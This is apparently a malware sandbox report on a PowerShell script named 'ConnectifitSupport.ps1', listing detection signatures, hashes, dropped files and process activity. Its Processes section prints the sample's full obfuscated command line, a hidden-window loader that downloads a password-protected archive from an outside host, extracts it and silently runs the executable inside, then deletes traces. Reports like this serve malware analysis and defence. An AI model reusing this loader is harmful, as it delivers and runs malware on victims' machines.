Overview

overview

8

Static

static

1

07052026_0...rt.ps1

windows10-2004-x64

8

07052026_0...rt.ps1

windows11-21h2-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/05/2026, 03:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    07052026_0313_ConnectifitSupport.ps1
  • Size 4KB
  • Sample260507-dtw5yaev4y
  • SHA256 b508afd69cf73fcd9e11086957d86660100434e0d926cd88961c4bc3e9444aa2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\07052026_0313_ConnectifitSupport.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='7z';$h8='P6xHzFbMdK';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://best-claudns-js.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://best-claudns-js.beer/api/index.php?a=dl&token=3d785eeec3ffa2da444e6b626f7fa8132b370a5a5a50f8fb2a46134c36153ba7&src=cloudflare&cb=edge&ref=file%3A%2F%2F%2FC%3A%2FUsers%2Fmilkream%2FAppData%2FLocal%2FTemp%2Fcerbero_scan%2F6cdf23cddc5e35c0a915e1472a74e4ee7c5fed8bd9c9f03e9ba7c7702fc4e7c0.html&mode=cloudflare' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5176

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e72516ce98729a87d654c54b2b0985e9938521f0073c1584becfcc5293f50783
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_uzyboeuh.bhu.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzyboeuh.bhu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4248-1-0x000001CD91260000-0x000001CD91270000-memory.dmp
        Download

        memory/4248-4-0x000001CD91230000-0x000001CD91252000-memory.dmp
        Download

        memory/4248-9-0x000001CD91260000-0x000001CD91270000-memory.dmp
        Download

        memory/4248-13-0x000001CD91040000-0x000001CD91052000-memory.dmp
        Download

        memory/4248-12-0x000001CD8F6E0000-0x000001CD8F6EC000-memory.dmp
        Download

        memory/4248-0-0x000001CD91260000-0x000001CD91270000-memory.dmp
        Download

        memory/5176-15-0x000002A976C10000-0x000002A976C20000-memory.dmp
        Download

        memory/5176-24-0x000002A976C10000-0x000002A976C20000-memory.dmp
        Download

        memory/5176-16-0x000002A976C10000-0x000002A976C20000-memory.dmp
        Download

        memory/5176-26-0x000002A976C10000-0x000002A976C20000-memory.dmp
        Download

        memory/5176-28-0x000002A95E5F0000-0x000002A95E5FC000-memory.dmp
        Download

        memory/5176-30-0x000002A976DE0000-0x000002A976DE9000-memory.dmp
        Download

        memory/5176-29-0x000002A976BE0000-0x000002A976BF2000-memory.dmp
        Download